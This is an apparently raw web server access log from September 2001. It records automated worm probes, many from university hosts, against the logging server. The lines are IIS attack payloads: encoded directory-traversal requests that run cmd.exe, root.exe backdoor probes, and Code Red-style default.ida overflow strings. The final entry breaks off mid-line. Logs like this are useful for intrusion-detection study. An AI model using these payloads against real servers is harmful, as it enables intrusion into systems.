[216.244.172.115] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:32:03: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:32:04: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:32:06: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:32:07: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:32:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 01:36:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 01:38:08: adsl-132-231.wanadoo.be [213.177.132.231] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:39:58: [210.177.152.162] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:40:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:40:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:48:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:48:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:50:04: [61.75.4.252] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:52:06: [61.75.4.252] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:52:25: [61.75.4.252] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:52:44: [61.75.4.252] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:53:02: [61.75.4.252] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:53:21: [61.75.4.252] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:53:40: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:57:08: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:57:09: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:09: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:09: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:10: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:10: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:11: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:11: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:11: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:12: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:12: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:12: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:12: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:13: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:13: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:57:13: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 01:58:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:02:08: [202.4.254.158] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:05:18: [202.4.254.158] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:05:37: [202.4.254.158] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:05:56: [202.4.254.158] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:06:14: [202.4.254.158] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:06:33: [202.4.254.158] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:06:52: [202.4.254.158] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:11: [202.4.254.158] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:30: [202.4.254.158] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:07:48: [202.4.254.158] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:08:07: [202.4.254.158] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:08:29: [202.4.254.158] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:08:48: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 02:08:48: [202.4.254.158] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:07: [202.4.254.158] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:09:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:13:50: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:13:50: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:50: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:50: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:13:51: depam.ee.columbia.edu [128.59.56.17] "GET 